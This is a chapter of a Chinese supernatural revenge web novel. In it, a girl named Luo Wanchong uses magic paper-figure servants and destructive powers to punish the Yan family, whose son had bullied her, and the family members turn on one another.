洛奶奶和洛爷爷挺为自家孙女孙女高兴,自家孙女长得太好看,不是老两口护犊子,对自己孙女有滤镜,洛爷爷退休前是老师,洛奶奶退休前是儿童医生,不知道接触过多少男孩女孩,俩人敢说,没有一个长得比他们孙女好看! 本来儿子儿媳长得便好看,孙女更是挑着俩人优点长,小小年纪便长得十分出色,等长大更不得了。 这趟来俩人虽是看望孙女,但未尝不是担心有歹人欺负脑子迟钝的孙女。 儿媳儿子还忙,可能都没有意识这一点。 这个世上漂亮的小姑娘遭受的恶意太多了。 所以来一趟看看,实在不行他俩留下来照顾孙女,退休返聘的事便推了。 结果可好,他俩担心的一点不多余! 孙女好了是喜事,但那群王八蛋不能放过。 洛宛童只好说:“爷爷,奶奶,你放心,我不傻,肯定不可能放过他们。” 没被放过的闫旭王清雅一行人非常有话要说。 自从闫成齐被逮捕后,闫家这个庞然大物便开始摇摇欲坠。 闫家的发家史不清白,最开始发家也不过闫成齐爷爷那辈。而人可能越缺什么越想表现什么,因此闫家有主支分支一说,最开始的分支是闫家当家人的私生子,但可能上梁不正下梁歪,也可能是一脉传承,每一个闫家男人都会搞出私生子。 于是闫家从最开始的五六口人到现在的几十口人。 人这么多,每个人都有小心思,更别说大多数人还不是一个妈,甚至不同爸。 有人压着还能你好我好大家好,但一旦压着的那个人露出弱点,其他闫家人会是第一个下脚踹的人。 每个人都想尽可能夺得最大的利益,根本没有一个人想起来去救闫成齐出来,甚至担心闫成齐判的短,还暗戳戳送上了更多关于闫成齐违法乱纪的证据。 闫家乱成一锅粥,被接出医院的闫旭顾不上耍脾气,只能眼睁睁看着闫家其他人抢夺本属于他的利益。 这时候哪怕他吼破喉咙都没人在意他的想法。 闫晶恨毒了为家里带来灾难的哥哥,“都怪你!要不是因为你,咱家还好好的,咱爸还是董事长,我也不会成为这个怪模样。” “你个祸害,当初爸妈为什么要生你,你为什么不去死!”要不是身体折叠不方便,闫晶恨不得上去撕咬闫旭的肉。 闫旭脸色铁青,他可不是一个好脾气的人,甚至可以说性情乖张,对闫晶骂的话,他杵着拐杖,高高抬起。 王雅琼眼角撇到拐杖消失,深知闫旭脾性的她急忙喊:“小旭,你冷静点,现在不能再出事了。” 一边喊闫旭,一边拽闫晶,示意她少说点。 闫晶愤愤不平的住嘴,闫旭可不是一个好哥哥,往常兄妹俩发生矛盾,闫旭动起手一点不会留情,好似他打的不是自己亲妹妹,而是有深仇大恨的敌人。 以前她打不过还能跑,父母也能拦一拦,而且一般她不太敢惹疯子一样的哥哥,要不是现在的处境太惨,她也不至于情绪失控,尤其她这个样子,连躲都不好躲。 闫晶心中愈发愤恨,恨不得拿把刀捅死闫旭,本来就感情不深,现在更是成仇人。 王雅琼心中又如何不恼恨闫旭。 往常更偏爱儿子,是因为生了闫旭,她的地位才彻底坐稳,而且闫家的一切只有闫旭能继承,她将来的荣华富贵只能指望着闫旭。 可现在,什么都成泡影。 闫家的豺狼虎豹绝对会吞吃殆尽一切。 要不是还有理智拽着她,她早像闫晶似的对闫旭破口大骂了。 可正是有丝丝理智,她才制止俩兄妹相互打架,她拽着闫旭,“闫旭,咱们家现在成这个样子,都是叫洛宛童的小贱人搞的鬼,唯一的办法就是去找她,只要找她,咱们家才能恢复正常。” 听到洛宛童的名字,闫旭眼中闪过狠意,事到如今,要说没有后悔是假的,但在洛宛童去医院接二连三的殴打后,他的后悔变成了当初洛宛童摔下楼梯时直接摔死多好,或者当初直接下狠手送洛宛童去死多好。 闫旭冷声问:“妈,你是要我去求洛宛童吗?” 王雅琼一滞,想点头,但又知道闫旭必定不愿意。 闫晶仗着闫旭看不到,撇嘴,无声的骂骂咧咧。 要是有能力,她恨不得压着闫旭去给洛宛童磕头道歉,只要能还回来她风光无限的闫家千金日子,闫旭多磕几个头又能如何? 真恨,等闫家恢复如常,你再偷偷报复呗。还闫家大少爷呢,一点都不为闫家着想。 洛宛童正巧这时候进来,她穿着一身繁复的黑色玫瑰连衣裙,头发被仔仔细细盘在脑后,形成一个层层叠叠的花苞,露出她饱满的额头,如果有相术出众之人看到她的面相,绝对会感叹:真是绝好的面相啊! 洛宛童穿着的小皮鞋随着她迈步,发出“哒哒”的声音,让客厅的母子三人注意到她。 闫旭大惊失色:“洛宛童,你竟然敢来这?” 王雅琼和闫晶这才知道来人是洛宛童。 母女俩同样吃惊。 要知道现在他们可还住在闫家老宅,虽然因为闫成齐出事,老宅里的佣人心思纷飞,不大听话了,但绝不是一个外人无声无息可以闯入的。 洛宛童身后跟着穿蓝色衣服的小红小绿,她背着手,溜溜达达的在大厅逛,走到哪,哪摆放的东西便往下掉,不论是摆设还是果盘,哪怕是固定在墙上的灯饰都往下掉,摔得稀里哗啦、粉身碎骨。 闫旭看到小红小绿便浑身疼,两个纸人没有灵智,可不懂手下留情,也不会累,洛宛童吩咐他们打多长时间,他们便老老实实揍多长时间。 闫旭身上的青黑至少有一半是他俩打的。 噼里啪啦的声音让王雅琼心慌,她慌乱无措的叫闫旭:“小旭,这是咋了?啥东西摔了?” 闫晶挤到王雅琼身边,明显来者不善,她不想挨打。 闫旭没有管王雅琼,他瞪着洛宛童,恶狠狠的说:“洛宛童你以为这样就能打垮我了吗?别让我抓到机会,要不然我一定不会放过你!” 闫晶大喊:“闫旭你个傻逼!让你认错,你干嘛呢!咱家都成这样了,你放什么狠话!你还想不想让咱爸出来了,你真想当乞丐啊!做人别那么自私。” 洛宛童赞同的点头,“闫旭,你真的应该学学你妹妹,什么叫识时务。” 闫旭冷笑,“我没闫晶那么蠢,现在还看不清情况,咱们明显已经不死不休,你不会放过我,我又何必说软话。” 洛宛童伸出右手,晃晃食指,“万一呢,你先说说看。” 闫晶又想说话,被王雅琼眼疾手快的捂住嘴,她和闫旭一个看法,认为洛宛童不会那么轻易放过他们闫家。 闫旭不张口,洛宛童催促:“说啊,试试看。” 闫旭还是不张口,洛宛童摊手,“看来你的尊严比闫家更重要。” 闫晶用力撕开王雅琼的手,喊道:“不是这样,我替我哥向你道歉。” 反正是替闫旭道歉,管他死不死活不活,闫晶用力回想道歉应该怎么说,忽然想起之前在学校里那些碰坏她衣服、鞋子的小婊子们经常向她道歉。 她灵机一动,说:“都是我哥的错,他……啊!” 闫旭的拐杖飞出,重重砸到闫晶的背上,同时打断闫晶的话。 闫旭脸色铁青,“闫晶你给我闭嘴!” 闫晶如何愿意听,现在家里成这个样子就是因为闫旭,闫旭不仅不反省,还打她,是不是太过分了,“闫旭你个废物,你……” 闫旭大喊:“你给我闭嘴!” 喊完,闫旭的额头的汗都冒了出来,他杵着拐杖的原因之一是他左脚崴了,无法落地,刚刚用力大声喊,一不小心脚用了力。 洛宛童非常满意眼前看到兄妹反目的戏码,她鼓鼓掌,“这出戏非常好,我看的很满意,不过没有赏金。” 闫旭咬牙,现在的他好似浑身被剥离的一干二净被人扔到大街上,周围人指指点点、议论纷纷,什么尊严、脸面统统丧失,偏偏他无法堵住每一张嘴巴。 是的,无能为力便是他唯一的想法。 “疼吧?”打量着闫旭仍旧看不清五官的脸,洛宛童状若好奇的问。 鼻青脸肿,淤青摞淤青,王雅琼但凡能看到闫旭的脸,都不敢认这是自己儿子。 闫旭没有回答,他肯定洛宛童问的这个问题没安好心。 洛宛童当然不是在关心闫旭,“疼就对了,我这个人非常记仇,还小心眼,一日不报仇,睡觉都睡不踏实,谁伤我一根毫毛,我能让对方成光头!” “瞅瞅你现在这幅丧家之犬的模样,啧啧。”洛宛童走近几步,“好人呢都有个毛病,遇到欺负了会先内耗,反思自己是不是哪里不对,是不是做错了什么,从没有想过,有没有一种可能,他们根本没错,有问题的是那些欺负他们的人。” “幸好我不是好人,我从不内耗,我如果有一天反思,只会反思一个问题:是不是让敌人死的太痛快了?我太直爽,心里不能装事,一旦装事,就睡不好觉,睡不好觉就会脾气不好,脾气不好耽误正事,那为了避免引发这么多的连锁效应,我不会让自己有反思的机会。” 洛宛童看出闫旭的迷惑,笑着说:“是不是不明白我说这么一长串的意义?” 她“唰”的冷下脸,“意义就是做我的敌人,要有求生不能、求死不成的准备!” “你虽然还不配成为我的敌人,但希望你能多坚持一段时间。” 闫旭崩溃的吼:“你到底还想怎样?” 洛宛童冷笑:“闫旭,当初你凭着自己家世欺负别人,就该想到有一天你失去家世,任人报复。” 洛宛童摆手,一直未动的小红小绿灵敏的开始行动,闫旭瞳孔紧缩,但他一只脚不好,跑都没办法跑。 接下来是长达一个小时的殴打,王雅琼听着闫旭的惨叫,喊道:“洛同学,洛同学,我家小旭知道错了,你放过他吧,打人不对,万一我家要是报警,你不就得进去了嘛,咱们各退一步,行不行?” 闫晶瑟瑟发抖,生怕洛宛童打闫旭一个不过瘾,再给她暴打一顿,王雅琼求情,她生怕被连累,几个翻滚到沙发的另一边,缩成一团,极力减小自己存在感。 洛宛童丝毫不在意王雅琼的威胁,报警便报呗,又不是她打的人,有本事把纸人抓走。 闫旭会看刑法书,她也会看好吧,合理规避风险,保全自己合法权益是每一个公民的权利。 一直听着哀嚎声没什么意思,再加上一会儿要到的人,洛宛童往门口走去,在临走出时,她回头,看了看闫家富丽堂皇的客厅,转身的下一秒,闫家的客厅里所有家具、装饰、灯饰、装饰品统统爆开。 尤其是顶上的灯,爆开的碎片划得闫晶和王雅琼遍体鳞伤,王雅琼要更严重一些,明明闫晶在灯下。 等爆炸声停止,闫家的客厅像手榴弹炸过一样,整个一个战场遗骸,没有一个幸存的完整物品。 闫晶在听到第一声爆声时便急忙护住自己的脸,身上的划痕涓涓流血,闫晶连骂洛宛童的勇气都没有,所有的怒火只能冲着闫旭去,恨声大喊:“打的用力点啊,还能叫这么大声,一听就没事。” 王雅琼捂住嘴,无声哭泣。 造孽啊,真是造孽啊! 在洛宛童离开的半小时后,闫家佣人带着两个人进来,看到客厅的惨状,佣人尖叫一声,连踏进去看看的勇气都没有,转身迅速跑开。 废话,都说闫成齐一家是遭人诅咒才成这样,要不人前一天好好,第二天咋成折叠人了? 诅咒的说法在佣人间甚嚣尘上,很多人都将信将疑,大多数人都认为是闫成齐一家有传染病,但现在客厅成这样,他们这些佣人又没看到陌生人进出门,总不能说是剩下的三个人因为闫成齐被抓走,精神失常,把屋子砸成战场的吧。 所以不赶紧跑走,等着传染诅咒吗? 宁天华捂住口鼻,灰尘有点大,呛鼻子。 汪连平扇扇灰,探身看了看屋子,一片静谧,不知道里面的人还活着没有。 他踢开桌椅腿,不知道咋飞这么远,小心翼翼的趟进去,看到躺在残破沙发上的王雅琼、闫晶、闫旭三人。 三个人一动不动,吓宁天华一跳,以为三人都没气了,“汪叔,咱报警吧,这死人了。” 闫晶:“你说谁死了呢!” 宁天华一激灵,“你们没死啊。” 闫晶:“你死了,我都不会死,倒是闫旭可能死你前面。” 宁天华都有些感动闫晶闫旭的兄妹情了,妹妹未免太惦记哥哥了吧。 汪连平打量客厅,看不出什么痕迹,动动鼻子,也没闻到硝烟的味道,是个高手。 他好奇的问:“你们客厅怎么成这样了?” 闫晶张嘴便想诉苦,但又想起顶上灯爆的时候,她闭上了嘴巴,不耐烦的说:“我们三个人打架打的行了吧,问问问,问个屁的问,什么忙都帮不上,和你们说再多都是浪费口水。” 宁天华拳头很痒,十分想揍嘴巴欠欠的闫晶,阴阳怪气的说:“现在还有口水可浪费你就庆幸吧,等过几天,你想浪费都没有机会了。” 这一家子明显已经被那个高人盯上,折腾这么多事,他就不信那个高人能放过这一家子的命。 闫晶凶巴巴的骂:“你是不是要吵架,TMD,虎落平阳被犬欺,滚出我家,立刻滚!” 王雅琼也没有心力打圆场,她甚至都没有心思说话,她哭的有些虚脱,现在她满脑子都在想她下半辈子该怎么办? 身体折成这个样子想找个下家都难找,难道她要一直这样了吗?